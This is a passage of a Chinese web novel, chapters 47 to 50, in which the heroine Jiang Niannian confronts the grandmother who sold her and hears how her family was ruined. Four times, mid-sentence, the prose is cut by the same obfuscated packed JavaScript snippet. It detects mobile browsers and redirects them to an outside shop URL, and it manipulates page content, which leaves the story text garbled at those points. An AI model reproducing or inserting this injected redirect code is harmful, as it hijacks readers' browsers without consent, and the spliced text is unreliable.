“那银子勉强让一家人过了段好日子,可他们到底不是过日子的料,没多久就将那些银子挥霍光了,然后一家人又过回了先前的生活。而这最关键的,是那个被他们卖出去的老大,从前家中很多家务活,都是老大在做,现在又落回到了那家女人的头上。那女人当时怀着孩子,又要伺候一家人,最后累坏了身子,把老三生下来之后,没多久也就撒手人寰了。” “可最要说的,是那个老三,她也是个女娃。那女人刚生下孩子的时候,一见到女娃就对她心底生恨,差点没把孩子掐死,最后大概也是知道自己不能再生育,所以还是把人留了下来。当时他们盘算的是,把人养大一点,再像老大一样卖了,还是能换些银子的。然后这个老三就和她的大姐一样,重新走上了她的道路。就在女娃三岁的时候,女人死了,男人也没钱续弦,而且小镇上也都知道那家人的德行,谁也不想把家里的女儿嫁过去,被人磋磨。” “那三娃被一家人胡乱养到了快七岁,那个时候他家老二不知道从谁那听了风声,说什么都要去外面闯荡。一家人溺爱老二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724750|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然家里拿不出路上的银子,但还是答应了老二,所以他们就把注意打到了老三的身上。他们拿卖老三的钱给老二,还真盼着老二能给他们赚大钱回来,结果这老二一走就是两年。直到后来有一天,他带回了一个女人,一回来就扬言要娶她。” “那女人一看就是烟花之地出身,而且年龄也比他们儿子大,那一家人自然是不同意,结果那老二就撒泼打滚,毕竟是姜家唯一的香火,他们也只能妥协。不过最终他们还是没能成亲,因为那家男人也看上了儿子带回来的这个女子,背着旁人的时候,偷偷下药把人带到了床上。那女子不堪受辱,直接自尽在了姜家的大门口,他们老太太有意隐瞒,不想将实情闹大,可当时也还是让全镇的人都看了笑话。” “后来那家儿子气不过,直接把他爹给杀了,之后自己也跟着去了。现在他们一家,也就只剩下一个老太太,还有一个多年无所出的痴傻小儿子。不过要我说啊,他们这也算是恶有恶报,大伙虽然明面上不会说什么,可这心里都门清着呢。” 听完那些人对这一家人的描述,就连段云澜忍不住啧啧称奇,如果不是知道一些这其中所牵扯的人,他恐怕会忍不住直接喊一声“精彩”,然后怀疑这其中到底有多少是别人胡编乱造的。 一旁的沈南寂在听完那人的叙述之后,并没有立即说话,他似乎是在思索着什么。不过也许是好奇心作祟,那些人在说完之后,见两个人都没什么反应,便忍不住自己的八卦之心,小心翼翼地打探道:“两位小公子问这些事,莫非是和那姜家有什么渊源?” 虽然这种事情他们也不太相信,可这直接指名道姓地询问姜家的事情,实在是有些不让人多想。 沈南寂听到这人的问题后,勾唇笑道:“确实……有点仇。” 众人一听,顿时轻轻倒抽了一口凉气,面面相觑两眼,都在各自的眼底看出了震惊。他们谁都没想到,姜家居然还能得罪京城的人。 “这……”大家心里都有点不是底,虽然有仇报仇是没错,可如果事情闹大了,沈南寂他们将矛头也指向了他们,那又该如何是好,“那我们会不会有事啊?” 沈南寂看了他们一眼,也知道他们心中所想。而且他们想的也没差,有些权贵之人,的确会迁怒旁人,不过他并不会这样,至少如今的他不会。 他对那些人笑了笑,随后说道:“放心,我就只是来见见他们,然后说几句话,很快就会离开青萍镇。” 言外之意就是,他不会真的动姜家人,也就更不会影响到青萍镇其他无辜之人。 大家听到沈南寂的保证,这才悄悄松了口气。他们见沈南寂并没有要立即起身的意思,也就拉着人继续聊了些关于姜家的一些小事。 等到沈南寂觉得时间差不多了,这才向那些人道了别,沿着他们所指示的方向,朝着姜家的方向而去。 47. 家人 等到两人走远了,段云澜扭头看了一眼四周,确定没人听见他们说话之后,这才忍不住和沈南寂说道:“这一家人还真是……各有各的特点啊。” 沈南寂没接话,不过他的神情不算好,看着有些像是在酝酿着怒意。那双藏在衣袖下的双手,早已紧握成拳,只不过是迫于此时那家人去的早,所以才连想要讨要代价的人都没有。 而另一边的姜念念,并不知晓沈南寂他们是紧随其后,跟着自己进了青萍镇,顺带还听了个故事的。 她在得到了姜家的确切地址之后,就直接来到了屋前,敲响了那扇看起来有些摇摇欲坠的木门。不过意外的是,她敲响第一声后并没有人来开门,甚至连应声都没有。她心下疑惑,想着是不是这家人出去了,可随后又觉得不对,如果这家一个人都没有的话,刚刚那群人一定会告诉自己。 这样想着,姜念念又敲了敲门,力道比刚刚大了些。 这一次,屋内终于传出了些许声响,随后是一个男人的声音,不过却不像是在应她,反倒像是小孩子在黏着什么没有目的的话。 姜念念的动作顿了顿,心下不免有些怀疑,那些人是不是给自己指了一个错误的道路。正打算直接原路返回,重新再探听一下情况的时候,就听到屋内又传出了另一道声音:“谁啊?” 这次是个老者的声音,听起来倒像是个正常人。姜念念随即止住了想要离开的脚步,应了一声屋内的人:“打扰了。” 既然是个可以沟通的人,就算这里不是姜家,她也可以打听姜家真正的位置。 听到有人回应,隔着一道门老者没再多说什么,而是说了一声“等等”,接着就是一阵缓慢走动的声音,由远及近。接着,就是木门被拉开的声音。 屋里和屋外的两人视线对上,几乎是在同一时刻看清对方。 姜念念见到,开门的是一个老太太,她背脊佝偻,手中攥着一根木棍,脸上的神情像是经历过大彻大悟后,已经分不清悲喜。姜念念一时也分不清,这到底是不是自己要找的人。 “你找谁?”就在姜念念出神的时候,那老太太已经率先发话了。 姜念念这时才反应过来,想起了自己来这的目的。为了以防自己认错了人,姜念念先是询问道:“这里是姜家吗?” 那老太太听到姜念念这么问,狐疑地点了点头,“是。” 得到了自己想要的答案,姜念念就知道自己是找对了地方。 “你有什么事吗?”那老太太不知是想到了什么,脸色变了变,等了片刻见姜念念没有说话,又看她衣着不像是普通人,她便故作强硬地催促着问道。 姜念念见状,便直接问道:“你认识姜念念吗?” 听到了这久违的名字,陌生又熟悉的感觉,几乎是一瞬间就占满了记忆。 姜念念从她说出这个名字开始,就一直紧盯着这个老妇人,她清晰地看到,对方的脸色从一开始的茫然,逐渐转变为惊恐,最后她像是在唯恐触及到什么似的,急忙摇头否认道:“不认识,你找错地方了!” 说着,那老太太就要去关门,但是姜念念看准了她的动作,仗着自己动作比对方快,直接抢先一步拦住了她的动作,同时抵住了门不让她关。 “真找错了,又为什么要躲?”姜念念看着老太太,神色平静地问道。 那老太太被拦住了去路,心知自己是躲不过了。恰好此时屋内又传来之前姜念念听到的声音,像是人的支吾声,那老太太听到后,也顾不得姜念念,直接转身快步进了屋。 只不过她的动作再快,也比不过姜念念,在老太太进了屋之后,姜念念就紧跟着她的脚步进去。然后姜念念就见到,那老太太走到了一个角落,那里正蜷缩着一个男人,而那男人正面露惊恐,紧盯着姜念念的方向,似乎极为害怕。 老太太知道,应该是自己刚刚说话的声音大了些,所以吓到了自己的小儿子。于是她一边小心翼翼地靠近男人,一边轻声安抚着他。 姜念念看了一会,猜测着这个男人的身份,又觉得这个人似乎年轻了些,应该不是自己那血缘上的父亲。 确定了这一信息后,姜念念也就没再管那两人,她的眼睛打量着这四周的景象。心头萦绕着一层淡淡的熟悉感,可是细看的话,每一处又都透着陌生。 老太太不知道姜念念想做什么,可她现在还要照顾小儿子,所以只能分出一点注意力给姜念念,留心着她的动作,谨防着她做出什么伤害小儿子的举动来。 姜念念并不知道她在想什么,或者她根本不在意。她和这家人并没有关系,所以演不来多年未见后的重逢之喜,也不可能真的心地善良到原谅他们的所有行为。或许是在宫中呆久了,她的很多作为,也在慢慢被那里同化,使她开始变得冷漠。 她静静地打量着屋子,这间屋子的外观破,内里也破,看起来就像是年久失修,随时都有可能被摧毁的感觉。屋子里并没有多少家具,而且也都是破旧不堪的样子。 瞧见这并不富裕的情景,很轻松地就能够猜出,这么多年以来,他们的生活也并没有得到改善。 不过让姜念念感到奇怪的是,她并没有见到其他人。姜念念猜测着他们是不是出去了,扭头就想问问自己这名义上的祖母,自己的父母现在在哪里。 这一会儿的时间,她已经大概猜出了面前的这个老太太的身份,大概就是自己那还未见过面的爹的母亲。 结果她刚扭头,就见老太太已经安抚好了人,此时已经站起了身。 也许是因为有了要守护的人,那老太太即使害怕,也还是让自己看起来不那么失了主导权。 “这里是我的家,这位姑娘就算有什么话想说,这样未经主人家的允许,私自闯进别人家也是不好的吧?难道你的家人没有教导过你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728814|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样也很没有规矩吗?”那老太太见姜念念一直没有动作,猜想着是她被教导过,似乎也无法对她构成威胁,于是说话便硬气了起来,甚至在说到后来,一时得意忘形,忍不住一本正经地教育起了姜念念。 而最关键的是,她看不起所有的女子,即便是猜测姜念念身份非同一般,她也只是鄙夷地觉得,她只不过是出身好而已,但归根到底还是没有男人有用。 听到老太太这么说,姜念念丝毫不觉气恼,反而还忍不住笑了一声,随后她意有所指:“你是在骂你的儿子吗?” 姜念念的这话瞬间便激怒了老太太,她也没细想姜念念这句话的意思,直接就骂道:“哪里来的小贱丫头,嘴里这么不干不净的。” 姜念念也不想再在这件事情上和她掰扯,况且她来这里不是为了和一个老年人吵架的,于是她打断了老太太的骂声,直截了当地问道:“你儿子呢?” 那老太太一听,顿觉不妙,也顾不得骂姜念念,直接挡在了自己小儿子的面前,色厉内荏道:“你想干什么,有什么就冲我来!” 姜念念见状,目光有些犹疑地落在屋内唯一的男人身上,一时有些拿不准。她现在开始怀疑,究竟是这人真的是自己的父亲,还是自己的父亲不在这。 老太太见姜念念不理自己,甚至还将视线落到了自己的小儿子,顿时就紧张了起来,“你要干什么?” 姜念念被她吼了一声,目光也重新转了回去,她顿了顿,还是选择了直接问她:“我在找,姜念念的父亲。” 听到姜念念这话,老太太终于微微松了口气,原本紧绷的身体也放松了些,不过也没有完全放松警惕,“你找他做什么?” “不在这吗?”姜念念根本不想回答她的问题,见她不告诉自己,直接就自顾自地继续说道,“那他在哪?”想了想,可能是觉得不够,转而又抬手指了一下老太太身后那人,继续问:“这人又是谁?” 大概是觉得姜念念是个不达目的誓不罢休的,老太太又不想自己的小儿子真的受到伤害,于是她只能说道:“死了,你要找他,也只能找到一块墓了!” “死了?” 姜念念有些意外,正想要打听是怎么死的,结果就被老太太打断。 “你单独提了姜念念,是她犯了什么事,所以让你来找她爹了?我告诉你,别说她爹死了,就算她爹还活着,我们也是不可能会救她的,反正她要是做了什么,那就直接杀了她好了。”老太太语速飞快地说道,“她都已经被我们卖了,早就和我们家没有任何瓜葛了!” 听完自己这位血缘上的祖母的话后,姜念念的神色慢慢冷了下来,即便她早就这家人冷漠无情,可没想到就这么急着撇清关系。她一时有些同情起了原身在这个家里时的遭遇。 “原来是这样。”姜念念不疾不徐地开口,语调微扬,“可是,我要找的,就只是姜家人啊。” 48. 闹剧 本来是想早点将人打发走,但现在老太太才发觉,姜念念并不会那么轻易地离开。意识到这一点之后,老太太的面上终于重新露出怯意,她的眼睛瞄向屋外,想要弄清楚姜念念到底有没有带其他人一起来。 可是她没看到人,心底却更加没来由地慌乱。如果仅仅只是她一个人的话,那也就只不过是她一条老命,可她还有小儿子需要照顾。想到这里,老太太的心理防线瞬间崩塌,她看着姜念念,问道:“你到底是谁?想要做什么?” 大概是觉得已经不需要再隐藏,所以面对这样的质问,姜念念终于没有再像之前那样岔开话题,她冲老太太笑了笑,随后说道:“我是谁?我就是你口中那个,已经和你们毫无关系的姜念念啊。” 那老太太听到姜念念的话,瞬间便瞪大了眼睛,她神色有些惊恐地盯着姜念念,先是难以接受般地呢喃着“不可能”,随即她又恶狠狠看向姜念念,先前的恐惧也在得知姜念念的身份后,顿时便消减了大半。或许在她的潜意识里,姜念念仍旧还是和从前一样,可以任由自己拿捏。 “姜念念,你为什么还活着?你就该下去陪他们!如果你死了,你弟就不会死了,一定是你克死了他们!”老太太面无狰狞地说着,用尽了恶毒的言语,似是想要将他们化成咒语,然后剥夺了姜念念的生命,来换回自己儿子和孙儿的命。 早就设想过这家人的德行,所以姜念念在听到老太太的谩骂时,也丝毫没有觉得有什么冒犯。她好整以暇地听着,像是在看一场与自己无关的好戏。 等老太太骂得累了,她才像是只听见了一句话似的,状似疑惑地问道:“可是,你之前不是说,我已经和姜家没关系了吗?怎么可能还会克到他们呢?” 那老太太想不到反驳的话,顿时便更气不打一处来,她指着姜念念就要骂,结果身后的小儿子这时像是又受了刺激,直接又哭闹了起来。 姜念念顿时便被吸引了注意力,她像是想到了什么,猜想着这人按辈分应该算是自己的小叔,原身应该是认识他的,只不过自己并没有她的记忆,所以才没有认出来。不过这并不是什么要紧的事,也没人会在意这点小事。 她只是感到有些惋惜,本来是想替原身从这家人手中讨回点什么东西,没想到这个计划却落了空。 正想着是就这样走了,还是该说点什么,结果还没等她想好,就感到自己的手臂一阵钝痛。她垂眸一看,发现不知何时,那老太太居然抓住了自己的手臂,似乎是怕她跑了。 没等她出声质问,老太太就已经率先恬不知耻地开口了:“姜念念,你现在应该挺有钱吧?我是一个老人,你难道不该拿点银子出来供养我,再换间干净舒适的大房子吗?我再怎么说,也是你的祖母,你要是不拿银子,就是要遭天谴的!到时候我还要把你不顾家里老子的生活,只顾自己享乐的事公之于众,让所有人都知道你是个不忠不孝的白眼狼!” 姜念念神情默然,她知道,如果此时站在老太太面前的人不是自己,而是其他任何一个人的话,恐怕都会被她威胁到,毕竟在这样一个时代,不忠不孝的罪名一旦扣下来,那将会是一生都洗不去的污点,只能任由旁人对她的指指点点。可惜姜念念不会这样想,她只是觉得眼前之人的行为,过于引人发笑了。 不过鬼使神差的,姜念念还是忍不住想要知道,眼前这人的无耻程度,到底接近了哪一步,或者说究竟有没有下限。 “你想要多少?”姜念念问她。 老太太一听,以为是姜念念终于还是妥协了,顿时就来了精神,整个人都变得沾沾自喜了起来。在她看来,自己就是成功教育了一个不听话的小孩,并且让叛逆的她再次开始听自己的话。 身份不同了又怎么样呢?还不是要乖乖听她的指挥,任由她拿捏,不敢说半个不字? 她就是长辈,谁也不能忤逆她! “五千两!”老太太迟疑了一下,随即答道。 她猜测着姜念念目前能给的全部积蓄,以及自己能想到的银钱数,最终给出了这样的一个答案。在她的认知里,五千两几乎是一个天文数字,那是几乎可以保她一辈子衣食无忧的。 她不知道姜念念现在是什么身份,不过她悄悄打量了姜念念一眼,心底便已经开始嗤之以鼻,下意识觉得她是仗着自己的容貌姿色,给哪个高官贵门家的老爷做了小妾。这样想着,她便又开始觉得姜念念不知检点,年纪轻轻就做这种不知廉耻的勾当,心底也开始庆幸,她早早将这姑娘送了出去,不然迟早败坏了门风,让别人看了笑话。 姜念念也知道,对方这是盘算着想要榨干自己所有的积蓄,猜测着自己能拿出的最大数量,然后一口全部吞掉。她自然也看到了对方眼底的鄙夷,心底只觉讽刺。 她正想要说话,就听到身后传来一道声音:“她是不会给你银子的,你就死了这条心吧。” “什么人?”老太太也没想到这时候还有人出现,打搅她的好事,沉浸在美梦中又被人突然叫醒,她还没有看清说话的人是谁,就已经先一步觉得这个人不好了。 姜念念听到熟悉的声音,也下意识地扭头望去,只见沈南寂不知何时也来到了这里,不过来的只有他一个人,其他人都不见踪影。 沈南寂走进屋内,面色明显不善,他瞥了一眼老太太抓着姜念念手腕的手,声音不冷不淡地道:“放手。” 不知为何,老太太被沈南寂盯得有些发怵,虽然心里是不太想照做的,可手却已经下意识地松开了。见状,沈南寂这才将视线从那只手上移开,重新看向了对方的眼睛。 “你……你想干什么?”老太太有些惊惧地向后退了一步,勉强装作淡定。 如果说,先前与姜念念谈话时,她还能仗着姜念念不会把她怎么样,还能趾高气昂的话,那么现在她就已经彻底像个泄了气的皮球。眼前这个刚刚出现的家伙,远比姜念念给她的感觉要危险。她有一种错觉,就是如果自己真的做了什么让他不悦的事情,自己的下场一定会很惨。 “我无意插手你们的家事。”沈南寂平静地道,“我只是想来提醒一下,身边的这位——不是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732512|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都值得被接济,既然已经断绝了关系,那就算旁人知道了,也不会觉得是你的不对。” 沈南寂的这番话,无异于就是直接反驳了刚刚老太太的话,可是碍于对方的压迫感,她也不敢说什么。 姜念念知道他这是在提醒自己,让自己不用顾虑对方所说的话,被迫去答应一些事。 “我本来也没想给她。”姜念念如实回他,“我就是有些好奇,她会说出多少来。” 沈南寂这才满意了些。顿了顿,他突然皱眉看向屋内角落的位置,他盯着那个一直哭嚷不停的人,忍无可忍道:“吵死了。” 老太太听完,也顾不得忌惮沈南寂的身份,直接扑过去抱住自己的小儿子,然后扭头冲着两人说道:“你们不许伤害我儿子,否则我就跟你们拼了!” 因为之前要应付姜念念和沈南寂,所以老太太也没来得及安抚自己的儿子,导致他一直都处在害怕的情绪里。此时突然有人靠近,他也分不清到底是谁,直接便狠狠将人一推,企图将那个靠近自己的人赶走。 老太太没料到这茬,根本没有防备,直接就摔了出去。当然,就算她有所警觉的话,一个年老之人又怎么可能抵挡得了成年人的奋力一推。更何况还是一个痴傻之人,更加不懂得力道的控制,只知道护着自己。 老太太“啊”地大叫了一声,倒在地上好半天才爬起来,随即就颤颤巍巍地想要靠近自己的小儿子。 姜念念在一旁看了,出声问道:“怎么了,祖母?需不需要我帮你和别人说说,你的孩子居然敢对自己的母亲动手,实在是太……不孝了啊。” 从刚刚老太太摔倒起,姜念念就没有要上前扶起她的意思,一来是觉得她活该,受这点罪也是她自作自受,而来她也担心这人自己爬起来后,还要反过来将她拉倒——那就得不偿失了。 “你敢!”老太太猛地扭头看向姜念念,恶狠狠地瞪着她,“你这个小贱人,你要是敢把事情说出去,我一定不会放过你的!” “你这人好奇怪,明明都是自己说的话,怎么别人替你接受的时候,又不愿意了呢?”姜念念看着老太太,像是真的很疑惑,期望得到对方的解答。 老太太自然不可能回答她,身后小儿子还在不断哭嚷,她没空再去理会姜念念。可很显然,他不希望老太太的靠近,老太太也就只能不断地柔声安抚,期望他可以放松警惕,但此时的男人根本不想让她再次接近自己。 姜念念和沈南寂两人看了一会闹剧,还是沈南寂率先觉得无趣,扭头对姜念念说道:“走吧。” 现在这个时候,落井下石或许是最佳时机,不过姜念念也没想着对他们赶尽杀绝,她本来也就只是来看一眼这些人。况且这家人也就剩下个年迈的老人和一个傻子男人,就算她什么也不做,他们也不会好过。至少在得知自己没有按照他们所预想的那样发展后,自己这个名义上的祖母,心底一定是嫉妒的。 这会比让她直接死去更难受。 于是姜念念点点头,和沈南寂一同离开了这间破旧的小木屋。 49. 萍远 离开小木屋之后,姜念念在不远处的树下见到了段云澜,瞧见了他们的身影后,对方连忙朝他们挥了挥手,然后便听他问道:“都解决了?” 姜念念不明白他这话什么意思,自己就只是来看一眼过去的家人,为什么要用“解决”这个词?不过她也没有多想,直接对着段云澜点了点头。 段云澜见状,这才眉开眼笑,“解决了就行,那我们走吧。” 既然要做的事情都已经做完,那继续留在这里,也确实没有什么必要了。 三人重新沿着原路返回,自然也就再次遇见了先前那群谈话的人。见到三人一起回来,那些人又朝着他们挥了挥手,打招呼道:“你们一起回来了啊。” 姜念念感到有些奇怪,按理来说,就算他们向这些问了路,这些人应该也不会熟悉到,他们离开的时候还要再次打招呼的。不过好奇归好奇,姜念念也没有在这个时候直接发问,免得让人觉得尴尬。 而就在这时,她看到自己身侧的沈南寂,居然冲着那些人点了点头,算是应答。 那些人又继续问:“人见到了吗?” “见到了。”这次是姜念念答的。 “见到了就好。” 几人随意聊了两句,姜念念等人要走,那些人也就没再拉着人继续聊下去。互相道了别之后,姜念念三人便朝着小镇外走去。 等到了没有旁人的地方,姜念念这才狐疑地看向身旁的两人,“你们和刚刚那群人认识?” “也不算是认识,就是在纹路的时候,简单和他们聊了两句。”沈南寂答道。 “原来是这样。”姜念念恍然大悟地点点头,又随口问道,“他们和你聊什么了?” 姜念念问过之后,过了半晌后突然发觉没人接话,她有些疑惑地望向沈南寂。视线相撞的那一刻,就见对方稍有迟疑后,还是答道:“一些关于姜家的事。” 姜念念愣了一下,正想要说什么,就听到沈南寂又问她:“你想知道,他们一家在你走后,都发生了什么吗?” 其实关于这件事,姜念念也挺好奇的,毕竟她也才知道,原身的父亲和母亲,都是怎么死的。这样想着,她便冲着沈南寂点了点头,表示自己想知道。 沈南寂见状,便一边继续朝前走,一边和姜念念说起了她那一家人的故事。当然,这些消息也都是沈南寂刚刚从青萍镇的人那里听来的。 他们这一说,时间很快便过去。一行人并未在青萍镇多留,他们就好像真的只是为了姜家而来,所以此刻在去过姜家之后,便又会自己接下来的行程。马车外是马蹄不疾不徐的“哒哒”声,以及车轮行驶过泥地的声响,而车内则只有三人交谈的声音。 在听过沈南寂和段云澜两人你一句我一句的叙述后,姜念念也总算是将整件事情的来龙去脉给理了清楚。不过当她真正得知了姜家的浮沉起落后,一种莫名的悲哀没来由地从心底滋生,苦味从嘴里蔓延开来,让她不得不感受着那些不甘与怨怼。 也许是姜念念的表情过于愁苦,段云澜以为她还是在可怜那些人,于是便出言宽慰道:“他们之前那么对你,落得这样的下场,也是他们活该,你也不用替他们感到不值。而且你也和他们没关系了,就算你想要可怜他们,他们也还不一定愿意承你的情呢。” 因为想到之前姜念念还在青萍镇的那些记忆,应当都还没有忘记,再加上担心再次提起会勾起她不好的回忆,所以两人在说的时候,也就直接略过了姜念念小时候的事情。不过即使他们没说,却并不代表他们不知道这件事。 姜念念知道段云澜这是在安慰自己,只是对他缓缓摇了摇头,然后说道:“姜家的命运,是他们自己一手促就的,与我无关,我自然也不会因为他们的离世,就会可怜他们,认为他们是可被原谅的。我感到难过的是,我那个从未见过面的妹妹,现在又是否还活着。不是每个人都会有好运的。” 在不幸降临时,时常还有更大的苦难在等着她。苦尽甘来这样的词汇,太过美好了,所以有什么便也成为了一种奢求。 想到那个同样是小小年纪,为了自己兄长的所谓前程,就成为了一件交易物的小孩,段云澜一时也噤了声。他心中甚至还阴暗地想,幸亏姜念念的母亲不能再生育了,而且还死得早,否则要是有更多的女孩投胎到他们的家中,那岂不是个个都要踏上同样的苦命人生。 “如果是这样的话,那你可以想想,也许她遇到了好心人收留,现在也在过着不错的生活。”沈南寂的声音在一旁想起,打破了此时空气中的安静。 姜念念偏头看他,见他神色平静,并没有丝毫多余的表情。可正因如此,也让她渐渐从那种情绪里脱离出来,她默默点头,算是应答。 马车已经驶出了很远一段距离,姜念念探头朝着来时的方向看去。青萍镇的全貌已经看不清了,远远地,她只看到了微小的一小块,然后又缩小成一点。 她的脑海里渐渐又浮现出同样的一幕,好像在很久以前的某一个时间,她也曾这样看着青萍镇,看它在自己的眼里,慢慢变小,然后彻底不见。 · 青萍镇的客人来了又去,他们只在人们的眼前留下了一点印象,随即就不见了踪影。就如同一阵不知从何而起的风,偶然经过了这座平凡的小镇,然后就又匆匆离去。 因为这些人的到来,让小镇上的人再次想起了姜家——那个几乎要彻底消失在青萍镇的一家。他们又不禁开始感慨起了这家人的狠毒,可怜着那两个小孩的命运坎坷,最后又庆幸着善恶有报。 之后,他们又猜测起了那三人的身份,而其中一人像是想到了什么,一脸兴奋地问周围的人:“你们说,那个姑娘,会不会就是姜家的女儿。如果按年龄算的话,现在应该也是像她这么大了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737078|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可是看她穿着,要真是她的话,她是被哪个大户人家给收养了吗?” “不管怎么说,如果真这样的话,也比之前呆在这里强。” “说得也是。”那人附和了一声,随即又突然想到了什么,“嗳,对了,那要真是她的话,既然她现在的生活还算不错,又为什么还要回这青萍镇?我看后来的那个人,有一个应当是她的夫婿才对,这怎么还想不开,回青萍镇来讨晦气呢。” “也许是旧事未了,心里的那道坎没过去,所以就想着亲自过来终结吧。”另一人颇为高深莫测地说道。 “要我说,猜来猜去也没用,不如我们去姜家看看,不就知道发生什么了。” 众人一听,纷纷觉得是这么个道理,而且现在去可能还有热闹可看,于是他们东西也不收拾了,直接就浩浩荡荡地朝着姜家的方向走去。 如果不知道情况的人,看到这般架势,恐怕都要怀疑这些人是不是要去姜家找麻烦的。 等这些人走近了,还没看到人就已经听到惊天动地的喊叫声,他们有些不明就里,转而又走近了屋子。屋门没关,他们很容易就看到了屋内鸡飞狗跳的场景。 “这傻子又发疯了啊。”有人这样说道,似乎是理所当然的语气。 没人觉得这有什么不对,也没人怀疑是不是之前的那三个人做的。毕竟这家的傻子经常就发疯,有时候半夜趁着自己老娘不注意,直接跑到镇上,挨家挨户敲窗户傻笑,要不是就是直接在镇子的路上游荡,然后发出些恐怖的声响,扰得人睡不好觉,最初还吓到了不少走夜路的人。 如果不是有姜家的老太太拦着,镇上的人早就忍不住想要动手教训他了。 此刻又听到这傻子的叫喊,众人也只觉吵闹。 “叫这么大声,我看他们也还是好好的,不像是被人教训过的样子。” 一人这么说了,其他人也立马连声附和。这种时候看热闹,那也要替自己的耳朵着想,他们商议着下次再来打听打听情况,今天要不就直接离开算了。 可是还没等他们抬脚离开,屋里的老太太却已经注意到了挤在门口的众人。她见安抚不好小儿子,顿时便像放弃了似的,直接一屁股坐到了地上,然后用比她小儿子还大的声音喊道:“家门不幸哟,我那可怜的大儿子死了,结果我那过上好日子的孙女不知道从哪听说这事,专门跑回来欺负我这把老骨头。自己过了好日子就忘了自己的出生,迟早要遭报应哦——” “孙女,那真是姜念念啊?”人群有人听出了老太太话中的信息,有些惊讶地问道。 “不是她还能有谁,白眼狼一个。”老太太翻了个白眼,心中不忿道,“那个小的也不知道哪去了,恐怕也躲在外面好日子呢吧,果然女娃靠不住,一个两个都只知道顾着自己,自己过上好日子了,也不知道回来报恩,养育家中的长辈。” 50. 夜火 之前问话的那人觉得老太太完全不讲理,甚至有点像个不知廉耻的强盗,“可是,当初不是你们把她卖了吗?我记得你儿子卖她的时候,还是你接的银子呢。” “那能一样吗,而且她能给家里提供价值,她应该感到骄傲。本来就是个没用的女娃,在家里也就是个累赘,我让她的存在变得有价值,她还得感谢我呢!”老太太丝毫不觉自己的做法有什么不对,甚至还无比强硬地说道,“况且,她现在不还过上好日子了,她应该感谢我。要不是我,她能过上这样衣食无忧的生活吗?现在居然还有胆量跟我叫板了!” “她能过上这样的生活,那也是她自己的本事,跟你有什么关系。”那人撇了撇嘴,有些不屑地说道。 她的声音有些低,不过老太太还是耳尖地听到了,她顿时就气不打一处来,觉得这人没顺着自己的意思说话,而且居然还帮着姜念念,顿时就觉得这人心思歹毒,甚至还可能是和姜念念一伙的。于是她立马利索地翻起身,连木棍也不需要了,直接就抬手朝着那人扑了过去,眼睛瞅准对方的脖子就要往那掐。 女人吓了一跳,反应过来后直往后退了两步,而其他人也赶忙去拦人。 老太太被众人七手八脚地架住,其中还有成年男人,便怎么也没法再近那女人的身,她挣扎两下后,发现挣脱不了,便直接指着女人和周围的人破口大骂了起来,“你们这些丧良心的东西,居然还帮着那个白眼狼一起欺负我这个老人家,我看你们都不得好死!” 屋内闹哄哄的,本来就被吵得头疼,此刻老太太这话一出,在场的人脸色都阴了阴。就算他们并不觉得她的话能有这么大作用,真的就应验了,可俗话说祸从口出,这样的话听在耳朵里,怎么都觉得刺耳难听,让人心中不悦。 他们不愿再给老太太好脸色,这种态度最直观的反馈就是,当老太太说完之后,整个屋子内就只剩下她小儿子的叫声,其他所有人都只沉默地看着她,不再发一言。 而老太太自然像只斗胜的公鸡似的,趾高气昂地瞧着众人,说道:“怎么,我说的有错吗?” “这种人我们和她争辩什么,反正也都快不行了,让她过个嘴瘾算了。”就在这时,一个人打破了这样的沉默,众人也都纷纷回过神来。 他们不欲与人多说,无视了老太太不满的咒骂,互相招呼着道:“走了走了,不要再在这里浪费时间了。” 直到大部分人都走了,老太太还觉得是自己吵赢了,得意洋洋地叉着腰,炫耀似的地看着那些人的背影说道:“怎么着,这是怕了啊?让你们帮着那小贱人。” 听到她这话,原本走在最后的一个男人,突然转回头看向她。他欲言又止了一会,最终还是提醒道:“老人家,你还是积点口德吧……你还有一个生活不能自理的儿子要养呢。” 